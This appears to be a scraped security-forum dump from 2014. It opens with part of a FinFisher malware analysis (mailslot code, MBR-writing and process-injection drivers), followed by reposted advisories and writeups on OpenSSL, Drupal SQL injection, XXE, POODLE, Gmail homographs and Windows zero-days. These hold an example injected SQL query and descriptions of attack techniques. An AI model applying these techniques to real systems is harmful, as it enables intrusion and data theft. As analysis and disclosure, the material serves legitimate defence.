GlobalFree((HGLOBAL) lpszBuffer); return FALSE; } // Concatenate the message and the message-number string. StringCbCat(lpszBuffer, lstrlen((LPTSTR) achID)*sizeof(TCHAR)+cbMessage, (LPTSTR) achID); // Display the message. _tprintf(TEXT("Contents of the mailslot: %s\n"), lpszBuffer); GlobalFree((HGLOBAL) lpszBuffer); fResult = GetMailslotInfo(hSlot, // mailslot handle (LPDWORD) NULL, // no maximum message size &cbMessage, // size of next message &cMessage, // number of messages (LPDWORD) NULL); // no read time-out if (!fResult) { printf("GetMailslotInfo failed (%d)\n", GetLastError()); return FALSE; } } CloseHandle(hEvent); return TRUE; } BOOL WINAPI MakeSlot(LPTSTR lpszSlotName) { TheSlot1 = CreateMailslot(lpszSlotName, 0, // no maximum message size MAILSLOT_WAIT_FOREVER, // no time-out for operations (LPSECURITY_ATTRIBUTES) NULL); // default security if (TheSlot1 == INVALID_HANDLE_VALUE) { printf("CreateMailslot failed with %d\n", GetLastError()); return FALSE; } return TRUE; } BOOL WINAPI MakeSlot2(LPTSTR lpszSlotName) { TheSlot2 = CreateMailslot(lpszSlotName, 0, // no maximum message size MAILSLOT_WAIT_FOREVER, // no time-out for operations (LPSECURITY_ATTRIBUTES) NULL); // default security if (TheSlot2 == INVALID_HANDLE_VALUE) { printf("CreateMailslot failed with %d\n", GetLastError()); return FALSE; } return TRUE; } void main() { MakeSlot(SlotName); MakeSlot2(SlotName2); while(TRUE) { ReadSlot(TheSlot1); ReadSlot(TheSlot2); Sleep(1000); } } Here is result while Finfisher keylogger was running: Driverw.sys I'll keep this one short as actual work of this driver is almost nothing. During MBR infection, user-mode code tries to access \\.\PhysicalDrive0, if it was able open physical drive successfully, it won't bother with driverw at all. If user-mode code wasn't able to access physical drive, it will load driverw.sys, call it from user mode to first open the physical drive, then it calls driver several times again to read and write to physical drive. So I think maybe they called it driverw, because it's a helper driver for Writing MBR code. As you can see it defines two functions only, one function which I renamed to FuncDiskAccess (actual main function, which access disk etc.) and UnloadDriver. Then driver calls ObReferenceObjectByHandle to get device object pointer. Consequently it calls IoGetAttachedDeviceReference to get DeviceObject itself. Now having device object, it can directly call IRPs of this object driver. So it will have direct access to whole PhysicalDrive0 without any check or access control. As last step it uses not documented or "not-well-documented" IofCallDriver function to read/write to disk. c) mssounddx.sys We actually talked about this driver in previous post during MBR analysis. But here I'll analyze it a little deeper. This driver is basically process injector, it waits for winlogon.exe and explorer.exe to run, then it allocates memory in them, decrypts malware payload using same XOR algorithm and finally calls NtCreateThread function. Here is breakdown: Driver entry: As you can see it simply call a function which I renamed to InitAndCreateThread. This function checks for registry mssounddx entry, if it exists, it creates a system thread: As you can see in the picture above, thread function is StartRoutine. This is what StartRoutine looks like: This is driver's start routine. As you can see first, it reads SSDT (KeServiceDescriptorTable), then it calls a function which I renamed to LocateNtCreateThread. This function basically locates NtCreateThread in SSDT. See: Using these xor and sub instructions, it allocates and pushes 2 strings into stack, ntdll.dll and NtCreateThread. After pushing strings into stack, it calls ResolveAPI which allocates a pool with 0x11223344 tag, then calls ZwQuerySystemInformation with SystemProcessInformation (0x0B) class. Then first it loops through modules to find ntdll.dll, afterwards, it loops through ntdll.dll functions to locate NtCreateThread function. In the end, it calls ExFreePoolTag to unallocate 0x11223344 pool. Back to StartRoutine, you'll see there is a call to a function which I renamed to InjectToProcess. This function is the whole purpose of driver. This function, waits for winlogon.exe and explorer.exe to run, until then, it keeps calling KeDelayExecutionThread (2 second delay). See: Then there is unnecessary code here, actually I don't think it's possible to have explorer.exe running without winlogon.exe already running. but I think programmers just copy/pasted the code for loop for winlogon.exe, which is unnecessary. See: When it finds WinLogon.exe, it opens the process using ZwOpenProcess, then it allocates memory several times in it: Next it finds offset of DLL to inject and decrypts it using same XOR algorithm: XOR algorithm which is same in all Finfisher malware modules: In the end, it calls dynamically found NtCreateThread, frees the allocated memory pages used in kernel, call PsTerminateSystemThread to terminate it's own thread. That's it. I hope you enjoyed whole Finfisher malware analysis articles. Feel free to comment or send an email about your questions. Also I want to thank everyone who helped to spread the word by retweeting, I really appreciate it. Sursa: https://www.codeandsec.net/FinFisher-Shell-Extension-and-Drivers-Analysis

OpenSSL Security Advisory [15 Oct 2014] ======================================= SRTP Memory Leak (CVE-2014-3513) ================================ Severity: High A flaw in the DTLS SRTP extension parsing code allows an attacker, who sends a carefully crafted handshake message, to cause OpenSSL to fail to free up to 64k of memory causing a memory leak. This could be exploited in a Denial Of Service attack. This issue affects OpenSSL 1.0.1 server implementations for both SSL/TLS and DTLS regardless of whether SRTP is used or configured. Implementations of OpenSSL that have been compiled with OPENSSL_NO_SRTP defined are not affected. OpenSSL 1.0.1 users should upgrade to 1.0.1j. This issue was reported to OpenSSL on 26th September 2014, based on an original issue and patch developed by the LibreSSL project. Further analysis of the issue was performed by the OpenSSL team. The fix was developed by the OpenSSL team. Session Ticket Memory Leak (CVE-2014-3567) ========================================== Severity: Medium When an OpenSSL SSL/TLS/DTLS server receives a session ticket the integrity of that ticket is first verified. In the event of a session ticket integrity check failing, OpenSSL will fail to free memory causing a memory leak. By sending a large number of invalid session tickets an attacker could exploit this issue in a Denial Of Service attack. OpenSSL 1.0.1 users should upgrade to 1.0.1j. OpenSSL 1.0.0 users should upgrade to 1.0.0o. OpenSSL 0.9.8 users should upgrade to 0.9.8zc. This issue was reported to OpenSSL on 8th October 2014. The fix was developed by Stephen Henson of the OpenSSL core team. SSL 3.0 Fallback protection =========================== Severity: Medium OpenSSL has added support for TLS_FALLBACK_SCSV to allow applications to block the ability for a MITM attacker to force a protocol downgrade. Some client applications (such as browsers) will reconnect using a downgraded protocol to work around interoperability bugs in older servers. This could be exploited by an active man-in-the-middle to downgrade connections to SSL 3.0 even if both sides of the connection support higher protocols. SSL 3.0 contains a number of weaknesses including POODLE (CVE-2014-3566). OpenSSL 1.0.1 users should upgrade to 1.0.1j. OpenSSL 1.0.0 users should upgrade to 1.0.0o. OpenSSL 0.9.8 users should upgrade to 0.9.8zc. https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00 https://www.openssl.org/~bodo/ssl-poodle.pdf Support for TLS_FALLBACK_SCSV was developed by Adam Langley and Bodo Moeller. Build option no-ssl3 is incomplete (CVE-2014-3568) ================================================== Severity: Low When OpenSSL is configured with "no-ssl3" as a build option, servers could accept and complete a SSL 3.0 handshake, and clients could be configured to send them. OpenSSL 1.0.1 users should upgrade to 1.0.1j. OpenSSL 1.0.0 users should upgrade to 1.0.0o. OpenSSL 0.9.8 users should upgrade to 0.9.8zc. This issue was reported to OpenSSL by Akamai Technologies on 14th October 2014. The fix was developed by Akamai and the OpenSSL team. References ========== URL for this Security Advisory: https://www.openssl.org/news/secadv_20141015.txt Note: the online version of the advisory may be updated with additional details over time. For details of OpenSSL severity classifications please see: https://www.openssl.org/about/secpolicy.html Sursa: https://www.openssl.org/news/secadv_20141015.txt

Drupal 7.31 pre Auth SQL Injection Vulnerability Posted: 2014-10-15 10:20 by Stefan Horst | Auf Deutsch lesen | More posts about Blog PHP Vulnerabilities Introduction Drupal is an open source content management platform powering millions of websites and applications. It’s built, used, and supported by an active and diverse community of people around the world. Drupal 7 is used by a vast number of sites and all of them are vulnerable. During a sourcecode audit for a customer we found an SQL Injection Vulnerability in Drupal's core handling of SQL queries, which we disclosed to the vendor. With this bug an attacker can gain full control over all Drupal sites (Admin privileges), without knowledge of internals or authentication on the site. He can even execute PHP Code without leaving a trace in any log. The Bug was introduced in early 2011 and stayed well hidden in the core framework. In this post we will discuss the SQL Injection on a higher level. If you want all technical details please refer to the Advisory we released We will wait until enough sites had time to update before we release a PoC, since this is a severe bug, which allows an attacker to execute arbitrary code with only one HTTP request and no knowledge of the site whatsoever. The Vulnerability All database queries in Drupal are handled via prepared statements. Placeholders are used in the SQL queries to indicate where user input should be included: SELECT * FROM {users} WHERE name IN (:name_0, :name_1) This prepared statement is called with a binding to variables for :name_0 and :name_1. This way an attacker cannot alter the SQL query, since he cannot inject values into the prepared statement. The number of placeholders has to be correct. Therefore Drupal uses a function to expand :name to :name_0, :name_1. This function handles the arrays incorrectly and expands the array to :name_$key0, :name_$key1. If the attacker can control the $key0 and $key1 he can manipulate the SQL query to look like this: SELECT * FROM {users} WHERE name IN (:name_test) OR name = 'Admin' -- , :name_test) which results in an SQL injection, where the attacker has full control over the database. He can dump all data, delete the whole database or create new users for example. If the user can control the database, he can insert values to gain remote code execution on the web server by using Drupal features with callbacks. Stefan Horst Sursa: https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html

[h=1]SA-CORE-2014-005 - Drupal core - SQL injection[/h] Posted by Drupal Security Team on October 15, 2014 at 4:02pm Advisory ID: DRUPAL-SA-CORE-2014-005 Project: Drupal core Version: 7.x Date: 2014-Oct-15 Security risk: 20/25 ( Highly Critical) AC:Basic/A:None/CI:All/II:All/E:Theoretical/TD:All Vulnerability: SQL Injection [h=2]Description[/h] Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks. A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks. This vulnerability can be exploited by anonymous users. [h=2]CVE identifier(s) issued[/h] CVE-2014-3704 [h=2]Versions affected[/h] Drupal core 7.x versions prior to 7.32. [h=2]Solution[/h] Install the latest version: If you use Drupal 7.x, upgrade to Drupal core 7.32. If you are unable to update to Drupal 7.32 you can apply this patch to Drupal's database.inc file to fix the vulnerability until such time as you are able to completely upgrade to Drupal 7.32. Also see the Drupal core project page. [h=2]Reported by[/h] Stefan Horst [h=2]Fixed by[/h] Stefan Horst Greg Knaddison of the Drupal Security Team Lee Rowlands of the Drupal Security Team David Rothstein of the Drupal Security Team Klaus Purer of the Drupal Security Team [h=2]Coordinated by[/h] The Drupal Security Team [h=2]Contact and More Information[/h] We've prepared a FAQ on this release. Read more at https://www.drupal.org/node/2357241. The Drupal security team can be reached at security at drupal.org or via the contact form at https://www.drupal.org/contact. Sursa: https://www.drupal.org/SA-CORE-2014-005

Offtopic: zoso e prieten cu RST. Ceva de genul. Nu trebuie sa mentioneze sursa. Ontopic: Asa cum am mentionat, Arrow Electronics nu au niciolegatura cu site-ul respectiv si au spus ca departamentul "legal" va lua masuri, sunt curios daca iese urat pentru proprietar. Nu de alta, dar banii aia trebuie sa ajunga intr-un cont, nu?

[h=1]Apple si Facebook, primele companii care platesc pentru congelarea ovulelor angajatelor[/h] de A.C. HotNews.ro Miercuri, 15 octombrie 2014, 17:32 Magazin Femeile care lucreaza pentru Facebook si Apple primesc un beneficiu suplimentar, pe langa salariu: companiile platesc pentru congelarea ovulelor. Facebook a inceput sa ofere acest serviciu in Statele Unite de la inceputul anului, scrie BBC. Politica este conceputa pentru a atrage si a pastra talentele de varf ale sexului feminin, ajutandu-le pe acestea sa evite punctul in care trebuie sa aleaga intre maternitate si cariera. Apple va urma exemplul incepand cu ianuarie 2015. "Continuam sa ne extindem beneficiile pentru femei, cu o noua politica referitoare la concediul de maternitate, alaturi de crioconservare si stocarea ovulelor, ca parte a sprijinului nostru pentru tratatmentele de infertilitate", anunta Apple intr-un comunicat. Ambele companii ofera pana la 20.000 de dolari pentru angajatele din SUA pentru a finanta procedura de extragere si depozitare a ovulelor. "Vrem sa incurajam femeile de la Apple sa faca cel mai bun lucru al vietii lor pe masura ce au grija de cei dragi si isi cresc familiile", se mai arata in comunicatul Apple. Competitia pentru recrutarea de personal talentat din Silicon Valley este acerba si politica ar putea ajuta gigantii in domeniul tehnologiei sa atraga si sa pastreze cei mai buni candidati. In plus, in utlima perioada a existat o presiune tot mai mare asupra firmelor de a spori diversitatea in sectorul, care este dominat de barbati. Jennifer Tye, director de marketing la Glow, o companie de tehnologie care ofera servicii pentru controlul sanatatii reproductive a femeilor, saluta aceasta initiativa. "Congelarea ovulelor ofera mai mult control", a prezicat Tye. "Atunci cand am implinit 30 de ani, mi-am dat seama ca ceasul meu biologic ticaie, dar nu stiam care sunt optiunile. Acesti angajatori ar trebui sa fie apreciati", a adaugat Jennifer Tye. Cu toate acestea, criticii politicii au sugerat ca aceste companii ar trebui sa se concentreze pe oferirea unei mai mari flexibilitati in ceea ce priveste sprijinul pentru noii parinti. Sursa: Apple si Facebook, primele companii care platesc pentru congelarea ovulelor angajatelor - Magazin - HotNews.ro

Gmail’s SMTPUTF8 prone to homographic attacks (thanks, 4chan!) October 14, 2014 No comments Article I always loved working with Google. I have been participating in their program since 2012. Over the years, I addressed some nice vulnerabilities that got me a couple of hall of fame entries and of course some nice monetary awards. But this last time, I drew a blank. I spent some time researching Unicode last month. Browsing through a lot of interesting characters, two of them struck my eye: the soft hyphen and the zero with space. There characters are basically – nothing[1], except they are there. Doing a bit of research, I quickly found that these characters were used to “blank post” on the popular image board “4chan”. Interesting. Naturally, it is not allowed to submit “empty” comments to the board – but using this single character, it was possible to bypass this restriction. Well, such a post is technically not empty. It just seems like it is. I started wondering whether this could lead to some security implications in popular websites. Except for some low-priority design bugs I did not find anything. [1] The soft hyphen does have a functionality: it indicates where to break a word. Months passed by. I had forgotten about the special Unicode character and moved on, looking for new and unique bugs. Until I post on the Google Blog: Gmail would now support e-mail addresses with Unicode characters. The extraordinary characters from earlier popped up in my head and I had this crazy idea: inti@deceukelai.re vs in*ti@deceukelai.re Can you spot the difference? I can’t. But believe me – they are different. The 2nd one has a soft hyphen between “in” and “ti”. So technically, this gives us an e-mail that appears to be the same, but isn’t. So what’s the big deal? Monday morning at work. You receive the following mail from your colleague, who happens to be me. You recognize my e-mail address and send me the document. Or did you? You actually replied to in*ti@dece*ukelai.re instead of inti@deceukelai.re, without ever noticing you have been tricked in. Sounds like a problem to me. After reporting this bug, it got miraculously fixed, even though my initial test show that the vulnerability did exist. I noticed, however, that it was still possible to use a homograph attack mixing look-a-like characters of different character sets (e.g. latin and greek). Result: Even though these e-mail addresses may look the same, they are not: the first letter (blank one) of the e-mail address is a look-a-like character of some other script.So let’s say you send a mail to You think you are sending your message to me, but you are not, as the “e” of “de” is a letter from another alphabet. Say the server, in this case Gmail’s supports the creation of SMTPUTF8 e-mail addresses (they will, shortly), then this e-mail could be delivered to a different user without anyone even noticing. I reported this additional information to Google and they replied that they are working on it, but also that my report does not qualify for a reward. I am publishing this to show the dangers of the new RFC6530 e-mail standardization. While I do believe globalisation is a good thing, we should watch our steps toward it carefully. Nobody wants to get lost in translation. I was a bit “feeling unlucky” to see my work did not get rewarded. But that’s life, I guess. Luckily, I found some vulnerabilities at Facebook that did get a generous reward. I will do a write-up on those soon. Stay tuned! Sursa: Gmail’s SMTPUTF8 prone to homographic attacks (thanks, 4chan!) | Securinti

[h=2]October 14, 2014[/h] [h=3]Two more browser memory disclosure bugs (CVE-2014-1580 and #19611cz)[/h] To add several more trophies to afl's pile of image parsing memory disclosure vulnerabilities: MSFA 2014-78 (CVE-2014-1580) fixes another case of uninitialized memory disclosure in Firefox - this time, when rendering truncated GIF images on <canvas>. The bug was reported on September 5 and fixed today. For a convenient test case, check out this page. Rough timeline: September 5: Initial, admittedly brief notification to vendor, including a simple PoC. September 5: Michael Wu confirms the exposure and pinpoints the root cause. Discussion of fixes ensues. September 9: Initial patch created. September 12: Patch approved and landed. October 2: Patch verified by QA. October 13: Fixes ship with Firefox 33. [*] MSRC case #19611cz is a conceptually similar bug related to JPEG DHT parsing, seemingly leaking bits of stack information in Internet Explorer. This was reported to MSRC on July 2 and hasn't been fixed to date. Test case here. Rough timeline: July 2: Initial, admittedly brief notification to vendor, mentioning the disclosure of uninitialized memory and including a simple PoC. July 3: MSRC request to provide "steps and necessary files to reproduce". July 3: My response, pointing back to the original test case. July 3: MSRC response, stating that they are "unable to determine the nature of what I am reporting". July 3: My response, reiterating the suspected exposure in a more verbose way. July 4: MSRC response from an analyst, confirming that they could reproduce, but also wondering if "his webserver is not loading up a different jpeg just to troll us". July 4: My response stating that I'm not trolling MSRC. July 4: MSRC opens case #19611cz. July 29: MSRC response stating that they are "unable identify a way in which an attacker would be able to propagate the leaked stack data back to themselves". July 29: My response pointing the existence of the canvas.toDataURL() API in Internet Explorer, and providing a new PoC that demonstrates the ability to read back data. September 24: A notification from MSRC stating that the case has been transferred to a new case manager. October 7: My response noting that we've crossed the 90-day mark with no apparent progress made, and that I plan to disclose the bug within a week. October 9: Acknowledgment from MSRC. Well, that's it. Enjoy! Sursa: lcamtuf's blog: Two more browser memory disclosure bugs (CVE-2014-1580 and #19611cz)

XXE Attacks Introduction XXE (XML External Entity attack) is now increasingly being found and reported in major web applications such as Facebook, PayPal, etc. For instance, a quick look at the recent Bug Bounty vulnerabilities on these sites confirms this. Although XXE has been around for many years, it never really got as much attention as it deserved. Most XML parsers are vulnerable to it by default, which means it is the responsibility of a developer to make sure that the application is free from this vulnerability. In this article we will explore what XML external entities are and how they can be attacked. What are XML external entities? For someone who is not aware of XML, you can think of it as something that is used to describe data. Thus, two systems which are running on different technologies can communicate and exchange data with one another using XML. For example, below is a sample XML document which describes an employee. The ‘name’ ‘salary’ and ‘address’ are called XML elements. Now these XML documents can contain something called ‘entities’ defined using a system identifier and are present within a DOCTYPE header. These entities can access local or remote content. For example, below is a sample XML document that contains XML entities. In the above code, the external entity ‘entityex’ is declared with the value file:///etc/passwd. During XML parsing, this entity will be replaced with the respective value. The use of keyword ‘SYSTEM’ instructs the parser that the entity value should be read from the URI that follows. Thus, when the entity value is used many times, this would seem very helpful. What is an XXE attack? With XML entities, the ‘SYSTEM’ keyword causes an XML parser to read data from a URI and permits it to be substituted in the document. Thus, an attacker can send his own values through the entity and make the application display it. In simple words, an attacker forces the XML parser to access the resource specified by him which could be a file on the system or on any remote system. For example, the below code would fetch the folder/file present on that system and display it to the user. How to identify XXE vulnerabilities The straightforward answer to this question would be to identify those end points which accept XML as input. But sometimes you will encounter those cases where the end points that accept XML might not be so obvious (for example, those cases where the client uses only JSON to access the service). With these cases, a pen tester has to try out different things such as modifying the HTTP methods, Content-Type etc. to see how the application responds. If the application parses the content, then there is a scope for XXE. How to confirm For the purpose of demo, let us use the site http://testhtml5.vulnweb.com/ which is maintained by Acunetix. This is a test site that can be used to verify the capabilities of the Acunetix web scanner. Visit the site http://testhtml5.vulnweb.com/ and click on the ‘Forgot Password’ link present under ‘Login’. Observe that the application transmits data using XML as shown below. Request: Response: Looking at the above request and response we can understand that the application is processing XML, receiving certain input and displaying it back. In order to test whether the XML parser is parsing and executing the XML sent by us, I have sent the below request. Modified Request & Response: As seen in the above request, we have now introduced an entity within the request (myentity). The response clearly indicates that the XML parser has parsed whatever we have sent and accordingly echoed back the value. This confirms that this application is vulnerable to XXE attacks. How to exploit The following code samples can be used for exploitation of the XML external entity vulnerability. Insert Code 1 The above attack is known as ‘billion laughs’ attack and takes an exponential amount of space almost around 3 GB. Apart from these an attacker can also read sensitive data present on servers that the application can reach, look for open ports on backend systems by performing port scanning etc. Impact: The impact of exploiting this vulnerability can be very dangerous, as it allows an attacker to read sensitive files present on the server, perform denial of service attack on the server, etc. Remediation: The main problem as discussed above is that the XML parser parses the untrusted data sent by the user. However, it may not be easy or possible to validate only data present within the system identifier in the DTD. Most XML parsers are vulnerable to XML external entity attacks (XXE) by default. Therefore, the best solution would be to configure the XML processor to use a local static DTD and disallow any declared DTD included in the XML document. For example in Java (as shown in the below code), by setting the respective attributes to false, external entity attacks can be prevented. Thus external entities, parameter entities, and inline DTD are set to false to avoid XXE based attacks. Insert Code 2 By Rohit T|October 15th, 2014 Sursa: XXE Attacks - InfoSec Institute

POODLE attacks on SSLv3: https://www.imperialviolet.org/2014/10/14/poodle.html Some POODLE notes : Errata Security: Some POODLE notes

Attack of the week: POODLE Believe it or not, there's a new attack on SSL. Yes, I know you're thunderstruck. Let's get a few things out of the way quickly. First, this is not another Heartbleed. It's bad, but it's not going to destroy the Internet. Also, it applies only to SSLv3, which is (in theory) an obsolete protocol that we all should have ditched a long time ago. Unfortunately, we didn't. Anyway, enough with the good news. Let's get to the bad. The attack is called POODLE, and it was developed by Bodo Möller, Thai Duong and Krzysztof Kotowicz of Google. To paraphrase Bruce Schneier, attacks only get better -- they never get worse. The fact that this attack is called POODLE also tells us that attack names do get worse. But I digress. The rough summary of POODLE is this: it allows a clever attacker who can (a) control the Internet connection between your browser and the server, and ( run some code (e.g., script) in your browser to potentially decrypt authentication cookies for sites such as Google, Yahoo and your bank. This is obviously not a good thing, and unfortunately the attack is more practical than you might think. You should probably disable SSLv3 everywhere you can. Sadly, that's not so easy for the average end user. To explain the details, I'm going to use the usual 'fun' question and answer format I employ for attacks like these. What is SSL? SSL is probably the most important security protocol on the Internet. It's used to encrypt connections between two different endpoints, most commonly your web browser and a web server. We mostly refer to SSL by the dual moniker SSL/TLS, since the protocol suite known as Secure Sockets Layer was upgraded and renamed to Transport Layer Security back in 1999. This bug has nothing to do with TLS, however. It's purely a bug in the old pre-1999 SSL, and specifically version 3 -- something we should have ditched a long time ago. Unfortunately, for legacy reasons many browsers and servers still support SSLv3 in their configurations. It turns out that when you try to turn this option off, a good portion of the Internet stops working correctly, thanks to older browsers and crappy load balancers, etc. As a result, many modern browsers and servers continue to support SSLv3 as an option. The worst part of this is that in many cases an active attacker can actually trigger a fallback. That is, even if both the server and client support more modern protocols, as long as they're willing to support SSLv3, an active attacker can force them to use this old, terrible protocol. In many cases this fallback is transparent to the user. What's the matter with SSL v3? So many things it hurts to talk about. For our purposes we need focus on just one. This has to do with the structure of encryption padding used when encrypting with the CBC mode ciphersuites of SSLv3. SSL data is sent in 'record' structures, where each record is first authenticated using a MAC. It's subsequently enciphered using a block cipher (like 3DES or AES) in CBC mode. This MAC-then-encrypt design has been the cause of much heartache in the past. It's also responsible for the problems now. Here's the thing: CBC mode encryption requires that the input plaintext length be equal to a multiple of the cipher's block size (8 bytes in the case of 3DES, 16 bytes for AES). To make sure this is the case, SSL implementations add 'padding' to the plaintext before encrypting it. The padding can be up to one cipher block in length, is not covered by the MAC, and always ends with a single byte denoting the length of the padding that was added. In SSLv3, the contents of the rest of the padding is unspecified. This is the problem that will vex us here. How does the attack work? Let's imagine that I'm an active attacker who is able to obtain a CBC-encrypted record containing an interesting message like a cookie. I want to learn a single byte of this cookie -- and I'm willing to make the assumption that this byte happens to live at the end of a cipher block boundary. (Don't worry about how I know that the byte I want to learn is in this position. Just accept this as a given for now.) Imagine further that the final block of the record in question contains a full block of padding. If we're using AES as our cipher, this means that the last byte of the plaintext of the final block contains a '15' value, since there are 15 bytes of padding. The preceding 15 bytes of said block contain arbitrary values that the server will basically strip off and ignore upon decryption, since SSLv3 doesn't specify what they should contain. (NB: TLS does, which prevents this issue.) The attack works like this. Since I control the Internet connection, I can identify the enciphered block that I want to learn within an encrypted record. I can then substitute (i.e., move) this block in place of the final block that should contain only padding. When the server receives this new enciphered record, it will go ahead and attempt to decrypt the final block (which I'll call C_n) using the CBC decryption equation, which looks like this: Decrypted final block := Decipher(C_n) XOR C_{n-1} Note that C_{n-1} is the second-to-last block of the encrypted record. If the decrypted final block does not contain a '15' in the final position, the server will assume either that the block is bogus (too much padding) or that there's less padding in the message than we intended. In the former case it will simply barf. In the latter case it will assume that the meaningful message is longer than it actually is, which should trigger an error in decryption since MAC verification will fail. This should also terminate the SSL connection. Indeed, this is by far the most likely outcome of our experiment, since the deciphered last byte is essentially random -- thus failure will typically occur 255 out of every 256 times we try this experiment. In this case we have to renegotiate the handshake and try again. Every once in a while we'll get lucky. In 1/256 of the cases, the deciphered final block will contain a 15 byte at the final position, and the server will accept this as as a valid padding length. The preceding fifteen bytes have also probably been changed, but the server will then strip off and ignore those values -- since SSLv3 doesn't care about the contents of the padding. No other parts of the ciphertext have been altered, so decryption will work perfectly and the server should report no errors. This case is deeply meaningful to us. If this happens, we know that the decipherment of the final byte of C_n, XORed with the final byte of the preceding ciphertext block, is equal to '15'. From this knowledge we can easily determine the actual plaintext value of the original byte we wanted to learn. We can recover this valueby XORing it with the final byte of the preceding ciphertext block, then XOR that with the last byte of the ciphertext block that precedes the original block we targeted. Voila, in this case -- which occurs with probability 1/256 -- we've decrypted a single byte of the cookie. The important thing to know is that if at first we don't succeed, we can try, try again. That's because each time we fail, we can re-run the SSL handshake (which changes the encryption key) and try the attack again. As long as the cookie byte we're attacking stays in the same position, we can continue our attempts until we get lucky. The expected number of attempts needed for success is 256. We've got one byte, how do we get the rest? The ability to recover a single byte doesn't seem so useful, but in fact it's all we need to decipher the entire cookie -- if we're able to control the cookie's alignment and location within the enciphered record. In this case, we can simply move one byte after another into that critical final-byte-of-the-cipher-block location and run the attack described above. One way to do this is to trick the victim's browser into running some Javascript we control. This script will make SSL POST requests to a secure site like Google. Each time it does so, it will transmit a request path first, followed by an HTTP cookie and other headers, followed by a payload it controls. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Source: Möller et al.[/TD] [/TR] [/TABLE] Since the script controls the path and payload, by varying these values and knowing the size of the intermediate headers, the script can systematically align each specific byte of the cookie to any location it wants. It can also adjust the padding length to ensure that the final block of the record contains 16 bytes of padding. This means that our attack can now be used to decrypt an entire cookie, with an average of 256 requests per cookie byte. That's not bad at all. So should we move to West Virginia and stock up on canned goods? Maybe. But I'm not so sure. For a few answers on what to do next, see Adam Langley and Rob Graham's blog posts on this question. Note that this entire vulnerability stems from the fact that SSLv3 is older than Methuselah. In fact, there are voting-age children who are younger than SSLv3. And that's worrying. The obvious and correct solution to this problem is find and kill SSLv3 anywhere it lurks. In fact, this is something we should have done in the early 2000s, if not sooner. We can do it now, and this whole problem goes away. The problem with the obvious solution is that our aging Internet infrastructure is still loaded with crappy browsers and servers that can't function without SSLv3 support. Browser vendors don't want their customers to hit a blank wall anytime they access a server or load balancer that only supports SSLv3, so they enable fallback. Servers administrators don't want to lock out the critical IE6 market, so they also support SSLv3. And we all suffer. Hopefully this will be the straw that breaks the camel's back and gets us to abandon obsolete protocols like SSLv3. But nobody every went bankrupt betting on insecurity. It's possible that ten years from now we'll still be talking about ways to work around POODLE and its virulent flesh-eating offspring. All we can do is hope that reason will prevail. Posted by Matthew Green at 8:26 PM Sursa: A Few Thoughts on Cryptographic Engineering: Attack of the week: POODLE

Mda, am vrea noi Poate pe blackmarket-urile rusesti la ceva sute de mii de dolari.

Microsoft Patches 3 Zero-day Vulnerabilities actively being Exploited in the Wild Wednesday, October 15, 2014 Swati Khandelwal As part of monthly patch update, Microsoft released eight security bulletins on Tuesday that address dozens of vulnerabilities including a zero-day flaw reportedly being exploited by Russian hackers to target NATO computers and a pair of zero-day Windows vulnerabilities that attackers have been exploiting to penetrate major corporations' networks. Just a day before yesterday, our team reported you about a Zero-day vulnerability discovered by the cyber intelligence firm iSight Partners affecting all supported versions of Microsoft Windows and is being exploited in a five-year old cyber-espionage campaign against the Ukrainian government and U.S organisations. Researchers at FireEye found two zero-day flaws, used in separate, unrelated attacks involving exploitation of Windows kernel, just a day after iSight partners disclosed zero-day in Windows. The pair of zero-day vulnerabilities could allow an attacker to access a victim's entire system. According to the researchers at FireEye, the two of three so-called zero-day flaws are being actively exploited in the wild by hackers and are being used as "part of limited, targeted attacks against some major corporations." Microsoft updates for the month of October 2014 Patch Tuesday address several vulnerabilities in all currently supported versions of Windows, Internet Explorer, Office, Sharepoint Server and the .Net framework. Three of the bulletins are marked "critical" and rest are "important" in severity. Systems administrators are recommended to apply the patches immediately for the critical updates. The zero-day flaw (CVE-2014-4114) discovered by iSight partners in all supported versions of Microsoft Windows and Windows Server 2008 and 2012 that is being exploited in the "Sandworm" cyberattack, are patched as part of MS14-060. Microsoft rated Bulletin MS14-060 as important rather than critical because it requires a user to open a Microsoft Office file to initiate the remote code execution. "The vulnerability [exists in Windows OLE] could allow remote code execution if a user opens a Microsoft Office file that contains a specially crafted OLE object," Microsoft warned in its bulletin. "An attacker who successfully exploited this vulnerability could run arbitrary code in the context of the current user." (OLE is Microsoft technology for creating complex documents that contain a combination of text, sound, video and other elements.) However, the two zero-days discovered by FireEye are patched as part of MS14-058 and are marked critical. They are designated CVE-2014-4148 and CVE-2014-4113. "We have no evidence of these exploits being used by the same actors. Instead, we have only observed each exploit being used separately, in unrelated attacks," FireEye explained. CVE-2014-4148 exploits a vulnerability in TrueType Font (TTF) processing. TTF processing is performed in kernel mode as part of the GDI and has been the source of critical vulnerabilities in the past as well. The vulnerability affects Windows 8.1/Windows Server 2012 R2, Windows 8/Windows Server 2012, Windows 7/Windows Server 2008 R2 (Service Pack 0 and 1) and Windows XP Service Pack 3. It affects both 32-bit and 64-bit versions of the Operating System, but the attacks have only been observed against 32-bit systems. However, CVE-2014-4113 is a local Elevation of Privilege (EoP) vulnerability that affects all versions of Windows including Windows 7, Vista, XP, Windows 2000, Windows Server 2003/R2, Windows Server 2008/R2, Windows 8.x and Windows Server 2012/R2. Out of remaining bulletins, two are rated critical, both address remote code execution vulnerability in Internet Explorer and Microsoft .NET Framework respectively. Remaining bulletins are rated important in severity, include elevation of privilege bugs, Security Feature Bypass, and a remote code execution flaw. Sursa: Microsoft Patches 3 Zero-day Vulnerabilities actively being Exploited in the Wild Faceti update!